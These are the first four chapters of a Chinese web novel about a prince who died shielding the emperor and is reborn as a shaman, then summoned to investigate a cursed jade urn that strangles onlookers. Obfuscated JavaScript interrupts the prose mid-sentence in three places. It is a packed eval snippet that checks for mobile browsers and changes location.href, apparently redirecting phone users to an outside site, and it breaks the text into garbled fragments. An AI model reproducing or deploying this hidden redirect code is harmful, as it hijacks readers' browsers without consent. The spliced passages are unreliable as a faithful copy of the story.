《本王已死》 1. 一 金銮殿是一朝议事重地,素来庄严肃穆静若天渊,今日却因几个刺客失了体统,闹得人仰马翻。 大批禁军沿着各处宫墙快步跑来,犹如一股股金色洪流,甲胄上的金鳞上下翻飞,与腰间佩剑一并碰撞出脆亮肃杀的声响,在殿前合流后鱼贯入殿。 在此之前,天子近卫早已将此处围得水泄不通,大殿之内群臣忙乱,疾呼奔走,同他们一起涌向白玉长阶上的帝王。 可他们速度再快,也快不过受过严酷训练的杀手。那寥寥几人眨眼功夫就冲至龙椅跟前,像数道漆黑闪电,甚至在最应仓促急乱的时候还摆出基础配合阵势,三人合围攻向目标的三处要害,两人挡开阻拦者投掷的刀枪箭矢。 少年君王刚刚接过帝玺与天子剑,持剑立身煌煌龙图前,眼底映出挥斩而来的清寒剑光。 玄色龙袍硬挺的领口裹着一截颈项,冷芒掠出虚空,划向他的咽喉。 另有一把锈剑自后心刺来,蒙眼刺面的女子出手刁钻,狠辣异常,拼着被万箭穿心也要使这一剑功成。 “哧!” 利箭破空,长枪斜刺,将前方四个刺客钉死于阶前,趴倒在天子脚下,如同虔诚的朝拜。 刺鼻的血腥味蒸腾,却非是从他们身下洇开的血迹中传来,而来自背后。 沈青池转身,看见一道熟悉的身影。他背对自己,双手握住刺穿心脏的剑刃,剑锋将一捧血花推出他的后心,正正溅上龙袍的玄色下摆,而更多血液则从他掌指间渗漏滴落,衬得他袖间腕骨、颀长指节坚硬冷白。 十九道冕旒垂落,一丝不乱,天子面容重云深锁,拔剑诛杀刺客时,旒珠也只晃动了极小的幅度。 那人回眸看了他一眼,忽然踉跄着扑进他怀里,把八风不动的帝王撞倒在阶梯前,靠在他肩头。 温热的血泼了两人一身,淹没玄衣上织金的云纹。 他满意地看着陛下头上那方剧烈晃动、绞缠成死结的冕旒,在渐渐逼来的痛苦麻痹中恶劣地想——我们噩梦中再见吧……陛下。 失去意识前,男人感觉一双手稳稳托住了自己。 “来人,传太医。” 眼眶边沿泛起的晦暗朝着他的视野中心笼罩汇聚,沈青池毫无波澜的声音随之在他耳边远去。 …… 连雨年猛地抽了口气,从旧日噩梦中惊醒,直挺挺地坐起身,灿烂天光撞破眼帘,一扫他眼前阴影。 从前诅咒别人做噩梦,如今真是遭了报应了。 连雨年无奈摇头。 他倚坐在牛车后堆起的谷垛上,身后悠荡着苍凉激昂的大山歌谣,身前是一片没有遮蔽的天空,正值黄昏,半壁熔金色,半壁火烧云,色彩灼艳明丽,不知是哪位仙人妙笔。 “丹先生醒了?”车夫一首曲子唱完,牛车也慢悠悠停在路边,回头笑道,“前方就是不夜镇,约莫百步路,您自行进去吧,我就不送了。” 路旁是一片金黄色的田野,田野间立着一座粗陋的茅屋。 他跳下车,腰边挂的白面面具微微摇晃一下,拍着老牛的长角:“我该回家了。” 连雨年“嗯”了一声,撑着谷垛跳车,顺手掸了掸衣摆上沾的草屑。 田间的风卷着麦香吹开他面上碎发,就像清风揭开拢山的雾,露出一张有别于世间无数男女的面容,绮艳昳丽,又如山月松涛般孤冷,言语难以尽述,像那市井话本里踱出的艳鬼或谪仙。 伸出素玉般的手指理了理衣领,连雨年向车夫道别,抬腿走向百步之外的小镇。 他的背影挺秀端正,芝兰玉树,脚步虽略显散漫,却是透着点板正的从容,仿佛此刻就算山崩地颓,他迈出的步子也依然会严谨到如同经过精心度量,没有半分区别。 不夜镇是丹桂乡诸多镇子的其中一个,不起眼也不热闹,从镇头走到镇尾只需小半天,不足百户人家里,半数都只有老人和孩童留守。 连雨年之前来过几次,和今天一样都是在黄昏,办完事过夜就走,来去皆是冷冷清清。 今日却一反常态,明明已经入夜,街边的商铺和民居却都门窗大开,甚至有人在路旁摆摊,卖小吃小物件,还有专为孩子做的一声响炮竹。 老人拄着拐杖游玩,孩子们提着灯笼在人群中乱窜,镇口还有人在摆放烟花,只等天色完全暗下,就点燃引线。 连雨年长了一张祸国殃民的脸,鲜少往人多的地方去,一路行来光顾着拿袖子捂脸了,也没多想不夜镇怎么就变得跟它的名字一样热闹。 直到穿出人潮,撞上前来接自己的委托人,他才得以把袖子拉下,呼一口气。 委托人是个梳着包包头的少女,尚未及笄,已经出落得秀美可爱。 她扯了扯连雨年的袖口,笑道:“你怎么还是像躲鬼一样?长得好看又不是过错,有什么不能大大方方展露的?” “我展露过啊。”连雨年放下衣袖,见附近有人看过来,又连忙挡回去,“第一次展露差点被抓去做面首,第二次则是被男人堵门唱越人歌——山有木兮木有枝,心悦君兮君不知,膈应了我三个月。” 少女好笑:“那你出门应该戴面具啊。” “戴了。”连雨年摊手,“半路掉了。” 少女好奇欲问,一看天色暗了,赶忙又收住话头,拉着他匆匆往自家走。 “咻——砰!” 烟花在两人头顶绽放,照亮连雨年幽深的眼眸,他掀起鸦青色的浓密睫毛,任由少女捏着自己另一边衣角,问:“今儿是什么日子?镇上怎么这么大阵仗?” “你不知道?哦,我忘了你深居简出,没活儿几乎不出门。”少女撇撇嘴,下一秒换了种兴奋语气道:“陛下收回南疆啦!就是十天前的事,今天邸报才送达丹桂乡!大家心里高兴,自费买了些烟花来放,又难得开了夜市,当是庆贺!此种盛事,从前少有,今后也很难有了!” “收回……南疆?” 连雨年怔住,昏暗的灯火折映他眼底的愕然,如水波横斜,良久才变为淡淡笑意。 他呢喃道:“少时戏言,他居然都做到了……” 南疆位于盛朝最南端,湿热的气候与得天独厚的水土孕育了天下最丰沃的良田,却因为与南夭国接壤,一直以来纷争不断,至先帝在位时期,更是因屡次战败而赔出了一多半去,此事被盛朝上下视为耻辱。 新帝登基不过三年,刚及弱冠,竟就完成了夺回失地,收复疆土的大业,着实令人惊艳。 倘再提起他此前三年所行的税务减免、大兴水利、改革官制等等激进却缜密的治国方针,夸一句雄才伟略也不为过。 在如今的民间,这位年轻的天子早已有了圣君之名,深受爱戴。酒馆茶楼的说书先生们比起话本轶事,更爱讲他那些或真或假的奇闻,就连村头婶娘们嗑瓜子聊闲天,苦恼儿女婚嫁问题时,也都会带着夸赞他两句。 至于登基之初,陛下遭遇刺杀是因得位不正之类的流言,早就无人提起了。 “你说什么?”少女推开门,在“吱呀”声中询问。 连雨年微微一笑,摇摇头,径自走进门扉。 迎面而来是一口水井,青砖砌边。 井边坐着半截身影,红裙红绣鞋,月光将影子拉得斜长,越发衬得那双翘起摇晃的脚尖诡怖可怕。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15233747|165986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连雨年步伐一顿,目光上移。 那道身影被拦腰截断,上身不知去向,仅有一双腿屈坐在此,裙摆褶皱间露出的脚腕青白干瘪,骨瘦如柴。 …… 昨夜下过雨,城外的官道坑坑洼洼。马蹄踏过泥坑,浑浊的泥水一圈圈漾开,在悄然生发的秋意中归于平静。 东城门有一家开了七年的茶馆,来往的行人旅客都爱在此落脚,喝杯茶,听听帝京近日发生的新鲜事儿。 茶馆里,说书先生绘声绘色的讲述飘出只言片语,落到那策马奔过的人耳中,只让他抬了抬细长的眉。 他衣袂飞扬,厚重的披风下露出一片衣角,赤红镶金,纹如鱼鳞。 那是天子近侍衣着的形制。 距帝京千里之遥的群山里,有一片浩荡大泽,数十个村庄小镇坐落于此,在漫山遍野的丹桂林间生活,足有十五万人之巨,俨然不输于包括帝京在内的盛朝十八重城任意一座。 此地名为丹桂乡,每至入秋,群山皆染金黄,云蒸霞蔚,犹如天上之景。 丹桂乡最南端是一座荒村,早在十年之前,半个村子就已经被水泽泥沼淹没,湿气重,极不适合居住生活,因此大多数村人早已搬离,只有一户人家还执意留守,说是故土难离。 十年来,那户本就人丁不旺的人家逐渐衰败,从五年前开始,附近的村镇就再没见过他们家人外出走动,采购物资。一直到三年前的六月底,才有一个从未见过的男人从中走出,与外人接触。 这一接触,便触出响亮名声,在极短时间内响彻整个丹桂乡。 也上达天听,引来了那位的注视。 内藏软甲,外配长剑的内侍在村口镇石处下马,眼前是一条蜿蜒曲折的黄土路,路旁草深树静,屋舍荒残,三面都被水泽连接铺盖,只剩这条路可通。 他拴好沿路换的第十二匹马,捂了捂胸口某处,谨慎地执剑走上那条小路。穿过弃置良久的茅舍草屋,进入稀疏青翠的浅阔竹林,一张眼,一座竹木搭架的深敞大院便尽入目中。 竹篱拢着水车转动的咔嚓声,流水声清澈空明,伴随着鸡鸭啄食拍翅的轻响,在一片死寂中兀自生机勃勃。 内侍忽然感到一阵毛骨悚然,眼前虚掩的门扉恍若龙潭虎穴,门缝里外交错的光影那么宁静,又那么诡异,让他无端以为自己误入了什么山妖野怪的居所,心里有种说不出的惊惧。 说起来,他今日要找的确实是非同寻常的奇人……假如关于他的那些传说都是真的的话。 内侍深深呼吸,压下心头惧意,上前敲门。 院里安静半晌,传出一线磁性悦耳的声音:“哪位?” 内侍垂眼:“天家侍从,携密旨而来,请先生开门一见。” 这回的沉默比上次长了许多,内侍却不再惊惶,气定神闲起来,仿佛“天家侍从”这四个字便是他的护身符,一旦亮出,鬼神辟易。 半晌,竹门“吱呀”一声打开,微风裹着错乱的光影倾泻而出,使得内侍不由自主地退后数步,仰头去看出现在面前的,比自己高了大半个头的男人。 他穿着素白棉衫,松松挂在腰间的系带勾勒出纤直的腰线,交领微敞,露出一截深深凹陷的锁骨,肌肤莹白细腻。 男人披着一条长衣,袖管在身侧微微翻飞,隐隐有滑落之危。 他伸出竹节美玉般的长指理了理衣领,指节扫过散落的鬓发,内侍才在那一线优美弧度的指引下看向他的面庞,再倏然一怔。 容色姝艳,气质孤矜,寒梅霜雪亦难压。 鸦青色的长睫扇动一下,连雨年抱肩询问:“你说的密旨,在哪儿?” 2. 二 内侍恍然回神,忍不住又后退一步,离这祸水长相气场疏异的人再远一些,接着清清嗓子,板肃平正地端起腔调: “遵陛下口谕,免先生三跪九叩之礼,您可站着接旨。但旨令一接,您必须立即随咱家入宫觐见,不得耽搁。” 连雨年扫过他胸前微微鼓起的线条,没有问“倘若不接呢”之类的废话,穿好长衣拱手施礼,恭听圣旨。 内侍四下看了看,从胸口取出装有密旨的木筒递与他。他双手接过,打开,一方玄色巾帕在盒底铺展,上面有几列铁钩银划的金字: 命丹氏传人即刻入京,不得延误。 字上盖着鲜红色玺印,出自货真价实的帝玺,连雨年却毫不在意,兀自想:这圣旨应该不是那位亲笔,他性情恬和内敛,又因幼时经历,习惯落笔藏锋,决计写不出这样锋芒毕露的字体,应是出自张相之手。 “丹澧先生,请。”内侍道。 再次听到这个陌生名字,连雨年回过神来,不动声色地道:“能否先让我收拾下行李?还有院子里的鸡鸭,我也需托人照料一二……” “这些咱家早已虑到,已经为您准备好了。”内侍微微一笑,“为陛下办事,先生不会有任何后顾之忧。” 连雨年也跟着一笑,朝东面拱手:“陛下圣明。” 轻装简行离开住处,连雨年和内侍步行出村,就见他的马旁边停了一辆马车,驾车的是个练家子,面容掩在斗笠之下,是皇宫暗卫的习惯。 “请上车。”车夫向二人拱手,动作间露出青茬微露的下巴。 乘上马车,连雨年将窗帘挂在窗边的银钩上,倚着窗台拄脸,懒懒看着渐行渐远的熟悉景象。 他在此处住了三年,不算短的时间,却意外的没有带给他任何落地生根的眷恋。 来时仓促,也不因匆匆离开而不舍。 这到底不是他的家。 暗卫把马车架得很稳,紧跟着策马的内侍。 车厢晃晃荡荡,不意已行出十数里,在经过一片荒废田野时,车里忽然传出声音:“能否在这儿停一下车?我有些事。” 以为他要解手,车夫和内侍同时勒住缰绳,缓缓放慢速度,停靠在一株槐树下。 槐树侧面是一座低矮的茅屋,枯死的藤蔓在茅檐上纠结成乱糟糟一团,发黄的尾端垂落,掩着破败的门窗。 二人并不对它投去一眼,连雨年下车后却直奔它去,伸手推开屋门时,浓厚的灰尘簌簌落下。 “先生?”内侍不解。 “之前路过这里,落了样东西。”连雨年摆摆手,没进屋,只是伸手往里一招,轻轻巧巧提出个东西。 一张面具。最普通的,街边小摊三文钱一张的白面面具。 他戴上面具,放眼望向荒田,满地杂草变成了金黄的小麦,随风起伏如浪。 有人坐在牛背上,踱过田埂小路,唱一曲大山歌谣,无意中迎上他的目光,向他招了招手。 连雨年放下面具,于是一切恢复如常。 “多谢当日送我一程。”他说,“陛下已经收复南疆,欢迎回家。” 清冽的风旋地上升,卷起烟尘枯叶,又扬扬而落,空幽的风声宛然如歌。 内侍与暗卫面面相觑,不禁打了个冷颤。 连雨年扫去面具上的灰尘,收入袖中,昳丽眉眼温和舒展,摆成一个夺目勾魂的笑容。 “走吧。” “……” 舟车劳顿两日,连雨年三人终于出了丹桂乡,在官道旁的驿站停下时,就见里面灯火通明,负责打理驿站的小隶因为提前收到口信,已然备好了酒菜热水,就等着他们入住。 盛朝对基层官吏的控制力是有史以来之最,无论官职大小,考核标准一致,若有不尽心尽力者,到了年末将会面临极为可怕的清算惩罚,便是朝中大员也会为此胆战心惊。 不过严格归严格,朝廷发的俸禄还是不少的,而且都是足额满发,做得好了还会有奖励,所以年年有人被筛下来,年年有人挤破了头考上去。 可见古往今来的道理唯有一条永恒不变——只要钱给够,一切问题都不是问题。 当然,这驿站小隶之所以会如此殷勤,还是因为提前传话的人是天子近侍,换个人虽也会尽心招待,却……至少不会准备如此丰盛的餐食。 连雨年看了眼满桌的大鱼大肉、好酒好菜,眼底闪过一丝笑意。 酒足饭饱,车夫守在门外,内侍坐于屋中,“丹澧”先生则倚坐在窗前,修长的手指捻着一枚黑棋,将他肤色衬得越发白净。 “公公,您在丹桂乡讳莫如深的事,现在总可以告诉我了吧?” 棋子“咔嗒”落在棋盘上,他的声音悠悠荡开。 内侍挥退小隶,坐得笔直:“还请丹先生见谅,丹桂乡是上古巫术发源之地,盛朝几乎所有鬼神传说皆出于此,有些事实在不好在那里说,怕无意中犯了忌讳。您是丹家人,丹乃巫族大姓,应该也多少传下过一些规矩吧?” “嗯。“连雨年拈起白子。 丹家乃上古巫族世家,曾辅佐人皇东征西战、筚路蓝缕,是人族史书中“相”的源头。 而今衰落,自有其定数,但传承未断。若非如此,那位只问苍生不问鬼神的天子也不会派人寻来。 “他……”他顿了顿,“陛下急召我入京,究竟所为何事?” 内侍沉声道:“丹先生听说过妖蛊教吗?” 妖蛊教,无妖有鬼,供奉邪异神明的乡野教派,越是靠近帝京,在百姓间扎根的就越深,但触角遍及大盛,丹桂乡也在其笼罩之中。 “这就是我知道的全部。”连雨年落下白子,又拈起一枚黑子。 内侍垂头,把声音压得更低:“三年之前,小临安王遇刺亡故后,陛下盛怒,花了整整三年时间剪除先太子残党,将先帝特赦的先太子母家、党羽及其妻妾母家等所有势力连根拔除,却在这过程中发现了先太子与妖蛊教的勾连,认为其很可能是先太子生前秘密筹建的组织,背后牵连甚广,远不止是一个乡野教派那么简单。” “陛下有心深挖,但遭到了一些……凡世之外的阻力,因而广发圣旨,招揽有驱妖除鬼本事的能人,为调查此事的众位大人保驾护航,扫清障碍。” 连雨年不紧不慢地排布棋局,掀了掀眼帘,并未因为他的讲述而起波澜:“陛下受大儒教导,诸位大人亦是受教儒学金榜题名,深受儒门子不语怪力乱神之说的影响,怎会相信妖蛊教里的‘鬼’真实存在,还大费周章地做这种事?” “陛下确实不信,在丹先生之前进宫的那些能人异士,也并未替陛下和大人们寻到所谓的鬼。” 内侍说到这里,突然打住,拎起茶壶倒了杯茶,用微微颤抖的手端起烫茶,一饮而尽。 连雨年扬眉:“公公这是……” 内侍摆摆手,不知是因为茶水太烫还是情绪激荡,嗓音哑得厉害:“先生莫急,且听咱家将那日之事告知于你,便明白了。” 十六天前,也就是内侍动身寻找丹澧的前一天,五名应召而来的捉鬼师、除魔天师等奇人一同进宫面圣,为陛下解惑。 彼时,三位领了彻查妖蛊教旨意的大臣坐于右侧,陛下端坐于屏风后,众人只能隐隐瞧见一道模糊轮廓,与他头上那方动也不动的冕旒。 御书房内气氛沉冷,大人们的表情很不好看,似乎是对陛下关注鬼神之说的事不满和忧虑,让那五人当即变了脸色。 所幸他们都是老江湖,念头一转就想好了对策,皆垂手聆听圣意。 不多时,几个内侍端上一只水缸形状的玄玉瓮,朝他们比了个“请”的手势。 玉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15233748|165986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瓮通体纯黑,玉质无瑕,又是极难得的整玉雕琢而成,辅以精美云纹,是件不可多得的宝贝。 但如此宝贝,搭配的却是一方用薄木板拼成的粗糙盖子,这让五人面面相觑,心中疑惑,一时间竟不知作何反应。 他们正思忖着,忽然听见上首帝王喜怒不辨的声音:“五位,上前将它打开,再告诉朕,你们看到了什么。” 天子钦点,五人不敢再犹豫,纷纷走上前去,一齐伸手握住木盖边沿,将其掀开。 就在盖子打开的那一刻,五人先是怔了怔,而后忽然双目圆瞪,额前青筋暴突,双手抓着脖颈剧烈地挣扎起来,挣扎几下后又重重摔倒在地,仿佛被人掼倒,又被无形的绳索扼住咽喉般左右翻滚,没过多久便憋得脸紫胀,喉间挤出“嗬嗬嗬”的声音。 很快,他们的眼睛就像青蛙一样向外凸起,瞪到极限的眼眶中血丝遍布,满是惊慌恐惧。 五人在地上胡乱踢腿抓挠了一阵,突然又像被那看不见的人勒着脖子拖拽到玉瓮边上,一人躺在一个方位上,将玉瓮团团围住。 身体躺平的瞬间,他们便毫无征兆地咽了气。 而在那之前,御书房中已经乱成一团。 三位大臣护在陛下身前,高声喊着“护驾”,内侍和近卫组成层层人墙,挡在前者与那五名奇人身前,都慌张而疑惑地环顾四周……直至那五个人死去。 就在他们停止挣扎的那一刻,四周所有声音都被抽空,没有人动,没有人说话,都死死盯着地上的五具尸体和那只玉瓮,沉闷的恐惧无声蔓延开来。 五具尸体维持着双手抓颈的姿势包围玉瓮,头朝玉瓮,脚尖朝外,远远望去,如同一朵血腥恐怖的花。 木盖掉在一旁,瓮口黑漆漆地敞开,却没有人敢靠近,敢往里面看。 内侍又喝了一杯茶,嘴唇微抖:“后来是咱家去拾的盖子,也看了玉瓮,里面空荡荡的什么都没有,也未发生之前的异事。大人们本以为是瓮中□□,那五位奇人因此而死,却不想经仵作验尸后,得出的结果竟是……” “是什么?”连雨年两指拈着棋子轻叩桌沿,玉面散漫,意态从容。 “是勒死!他们是被绳索之类的东西勒断脖颈而死!”内侍的身体剧烈发颤,“咱家替陛下去看过,尸体的颈骨几乎碎成了粉末,身子与头只剩一层皮连着,皮肤上还有一圈非常深的紫黑色的勒痕!” “也就是说,当时在守卫森严的御书房中,在众目睽睽之下,有一个乃至多个无形之人将那五位奇人同时勒死!并拖拽至玉瓮旁摆成了一朵花!” 连雨年动作一顿:“这……怎么可能?” “是啊,谁都认为不可能,尤其是三位认为鬼神之说乃无稽之谈的大人。可他们亲眼所见之事,难道还能有假?” 连雨年神色不变,忖了忖说:“会不会是那五人中了某种奇毒,才神志不清下将自己掐死?” “仵作没有发现中毒迹象。”内侍摇了摇头,“陛下与三位大人将所有可能性一一提出,一一排除,最终绕回了原点——妖蛊教无妖有鬼上。之后又有不少能人异士进宫查看玉瓮,无一例外……全都以那种方式死去。再后来,便无人敢应征了。” “所以陛下才会找到早已隐世的丹家头上,让我这个丹家唯一的传人为他……”连雨年顿了顿,将“送死”二字咽下,唇角掠过讥诮的弧度,“确认玉瓮的异处?” “陛下说了,您先不必开瓮,想办法查出玉瓮的用处和出处即可。”内侍已经冷静下来,摩挲着茶杯道,“但以一月为期,一个月内,若是您找不到陛下想要的答案,便只有一个选择。” 连雨年垂眸不语,黑沉沉的眸子在棋局间纵横扫掠,把指间棋子轻置于棋盘中央,完成这一局的最后一步。 他呼出一口气,淡笑道:“谨遵圣意。” 3. 三 夜凉如水,驿馆的灯渐次熄灭,只有竹门上悬着一盏糯米纸糊的竹篾灯笼,摇晃出暖黄烛光。 连雨年脑海中思绪万千,繁复庞杂,扰得他不能好眠,遂披衣起身坐到窗边,冷冷望着那点光亮以为锚点,慢慢梳理。 思绪虽杂,线头却清晰可见,是被那内侍一语带过的“小临安王”四字。 小临安王是盛朝最后一名异姓王,在三年前的新帝登基大典上为新帝挡剑而死,却死得不彻底,肉/身葬入西山陵,魂魄却飘荡到了丹桂乡,附在与自己死于同一时辰的丹澧身上。 就如同前生的他因车祸而穿越那样,这第二次借尸还魂同样出现得没道理。 临安王共有六子一女,七个孩子,六个是人中龙凤,且都继承了父亲的野心勃勃,唯独连雨年这个胎中换魂的嫡幼子刻意表现得温吞迟钝,跟兄姊们相比与傻瓜无异,一直被当成王府吉祥物养着。 偏偏就是这样的他,也不知哪里讨了先帝欢心,刚满三岁就受召进宫,当了他的第九子,也即今朝新帝的伴读,一直当到十七岁。 那时的九皇子没有如今的威势,虽然是先皇后所出,但他出生时先皇后难产,因为难产大出血的缘故,他的母亲和他的同胞兄长最后都没活下来,他便因此受到先帝的迁怒,把他放到已经育有一子一女的祝贵妃名下养着,平日只当他不存在。 两个不受重视的孩子,在吃人不吐骨头的皇宫自然难有舒心日子过。无人刻意刁难为难,可只需某些时候恰到好处的疏忽,就能要了他们的命。 十四年岁月,风刀霜剑,任连雨年如今心如沉水,也不忍回忆。 后来,祝贵妃的大皇子受封太子,娶了镇北将军的女儿为太子妃,祝氏一门又出了一位宰相、数名文臣,让这一脉如日中天。 若非先帝故意引八位皇子争斗,怀着选出其中最出色之人继承大统的想法,先太子有母族妻族的鼎力支持,再加上争取到了当朝唯一执掌兵权的外姓王——临安王相助,断不至于走到逼宫谋反那一步。 连雨年见过鼎盛时期的先太子,也见过被先帝赐死时平静冷漠的他,更陪着新帝走过夺嫡之争最惨烈的一段年岁,如今回想仍旧胆寒心颤。 临安王一家参与了谋反,举族跟着先太子砍头的砍头,流放的流放,唯独他因为从小养在宫里,又有与九皇子一起长大的情分,先帝为了彰显自己的仁德重情,才饶他一命,还把削职减爵后空剩个名头的临安王位赏赐给他。 可惜他就是个空头王爷,连封号都是沿袭的“临安王”,与其说是继承王位,不如说是继承这三个字。 小临安王没有权势,不得参加科考,没有上升途径,一辈子只能蜗居在王府里,起居坐卧皆在上位者的监视之下,陪他们演一出清平盛世的戏。 直到新帝登基,连雨年以为自己或许能等到解脱机会的时候,却又碰到先太子旧部刺杀新帝。 等回过神来,自己已然挡在他的身前,心脏被利刃贯穿。 而那位曾与他同舟共济,共度风雨的新帝只是平静地拔出天子剑诛杀刺客,直到被他撞倒之前,头上的冕旒也只是微微摇动,一丝不乱,神色从容而淡静。 连雨年为他挡剑,咽气时他甚至没有露出半点紧张忧虑。 先帝刻薄寡恩,生的儿子也个个凉薄。 十四载扶持陪伴的情谊,不过云烟。 内侍方才说,小临安王亡故后,陛下盛怒,下旨诛绝先太子在世残党。 或许盛怒是假,排除异己才是真。 先帝传位时亲口称赞过,论帝王心术,他的小九是学得最好的一个。 连雨年姿态优雅地倚在窗沿,不冷不热道:“去你大爷的沈青池——阴魂不散。” 门口突然传来一声响动,是暗卫车夫从马车上跌下来的声音。 连雨年“砰”地关上窗,车夫扶腰起身,望着那扇紧闭的窗户惊疑许久,最终归结于自己方才做了个梦。 丹澧先生从未见过陛下,且陛下是圣明之君,他怎会无缘无故辱骂陛下呢? 做梦罢了,切莫胡思乱想。 次日,连雨年起了个大早,拿着驿站小隶买的包子边吃边出门,从暗卫身前经过,毫不意外地在他眼下看到了两个黑眼圈。 丹澧先生明知故问:“这是怎么了?昨夜没睡好吗?房间里不知熏了什么香,颇为助眠,我是早早就睡下了。” 暗卫揉揉眼眶:“……有劳先生关心,我……做了个噩梦,但不碍事,不会耽误赶路。” “这样啊……”连雨年想了想,从腰间取出一张金纸朱砂符递去,“随身携带,保你好眠。” 暗卫接过去一看,正面写着“好眠好梦”,反面写着“少思少虑”,落款——丹家专属,盗版必究。 他拿着符抬头,连雨年已经进了车厢,只留给他一股肉包子的油鲜浓香。 见他神色怪异,内侍问:“这符有问题?” “……” 暗卫摇头,默默将符箓收进心口暗袋。 从丹桂乡至帝京,需要十天半个月的路程,一路上需途经多座城池,数不清的村落小镇,能让他们停下歇脚的却寥寥无几。 暗卫和内侍商量过后,在距离帝都只剩两百里时转向抄了近道,从西山陵借道直行入皇宫,省却中途所有设验关卡的麻烦。 连雨年不知此事,不过睡了个午觉的功夫,一睁眼就发现车外景象变了。 青山层叠如翠屏环绕,绿雾青霭若碧水叠延。 他十五岁时有幸见识过皇室祭祖大典,也进过西山陵上的祖庙,仿佛走入一座活着的陵墓。 忘了是从哪里听说,小临安王死后,因其是为救陛下身亡,因此被当时政权尚不稳固的新帝力排众议葬进了这里,位置还颇靠前,不出意外的话,百年后当今陛下的长眠地就在他身边。 西山陵明面上只有一支禁军把守,暗地里却布设了无数暗哨眼线。暗卫和内侍敢从这里借道,想来是得了陛下便宜行事的特殊许可。 连日赶路睡得不好,连雨年搓了搓略显苍白的俊颜,扒着窗沿往外看。 陵寝在祖庙之后,他自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15233749|165986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然看不到自己的坟,只能远远地望一眼,尝试回忆当日挡剑时自己在想什么,又猜测那时的沈青池在想什么。 情况紧急,他死得又快,其实也来不及多想,就冒出了一句与陛下噩梦中见。 这三年他不止一次梦到那天的场景,梦中潮湿的血腥气铺天盖地,他永远都看不清沈青池的脸,胸腔内震荡的痛楚恍若垂天雷云,比切实挡剑的那一刻还令他难受。 他们确实在噩梦里相见了,只不过是连雨年一个人的噩梦。 又要见面了。 连雨年叹气,用只有自己听得到的气音说道:“真不想再见啊……” …… 安和殿又点起了过量的宁神香。但时值深夜,殿中依旧灯火通明。 已经晋升为宫廷内相的择青端上参汤,桌上众多批好的奏折分门别类放得整齐,国家大事放一边,请安折子放一边,建议早些选秀、诞育皇嗣的奏章单独挑出来,加贴一张“已阅,狗屁不通”的批语,随意扔在脚边。 刚刚还在伏案批阅奏折的天子却不见了踪影。 殿宇右侧开了扇小门,出去便是白玉围栏拥成的告月台。择青熟练地望过去,果然在幽微灯火与夜风中窥见一道寂寥身影。 择青放下参汤,拿了披风上前,却不敢踏上告月台,只在外面说道:“陛下,夜已深了,早些休息吧。” 人影头也不回,兀自望月,淡若流水的嗓音在夜色间缓缓流淌:“朕命你寻的入梦香可找到了?多日无梦,朕快忘记做梦的感觉了。” “入梦香是前朝古香,已经失传,幸而香方还在,奴婢已经找了最好的调香师为陛下研制,不日便可呈上。” 说着,择青双手递上披风:“秋夜风凉,陛下添件衣裳吧。” “不必。”他偏了偏头,晦涩幽暗的冷月摹出侧颜轮廓,唇薄眼静,披散的长发在风中扬落,“丹家传人何时能到?又有看守的人因那东西丧命,朕着实厌了。” “回陛下,丹先生已至西山陵,明日便可入京。”择青回答完,方觉察自己说错了话,嘴巴猛地闭紧,面颊肌肉颤了颤,紧咬后槽牙,绷出清晰的下颌线。 他小心翼翼打量陛下的神情,试图透过晦暗的月光窥得主子些许心绪,好做补救。 陛下却转过身,抬手握住玉栏杆,衣摆舒卷,于风中猎猎。 “西山陵……”他平静地咀嚼过这三个字,发出一声轻笑,“今夜月色朗照,西山陵冷寂,不如入我梦来……请你喝酒。” 领口绣得歪斜的桃花翻飞,他质感冷脆的声线又柔了两分,如同情人耳鬓厮磨间的呢喃:“你不说话,我就当你答应了。倘若食言……” 倘若食言,又如何? 择青垂下头,在心里问。 像是接他的话,陛下说:“倘若食言,朕也不能拿你如何。总归下次见面,多灌你两杯……可好?” 听着那温柔含笑,又在转音处隐隐泄露压抑的癫狂的话语,择青哆嗦了一下,头皮发麻,无声无息地退下。 入梦香的研制得抓紧了。 4. 四 连雨年入京那日,正好是九月十五。 京都城里阴云密布,云层中传出沉闷的雷声,恰好合上了皇宫压抑的氛围。 两人风尘仆仆而来,却连停下喝口水的功夫都没有,换了衣服便直奔御书房。 到了门前,带路的内侍退至旁边,朝殿中走出的人躬身行礼:“见过择青公公。” 这个熟悉的名字令连雨年心弦微颤,不由得抬眼望向前方。迎面走来的近侍一身红袍,腰配玉牌,年轻而英武,说是侍卫首领也没有人会反驳。 但五年前,他还是冷宫里的小宦官,因为撞破祝贵妃和临安王的私情,险些被溺死在井中,是沈青池救了他,还为他改头换面更替身份,将他收为己用。 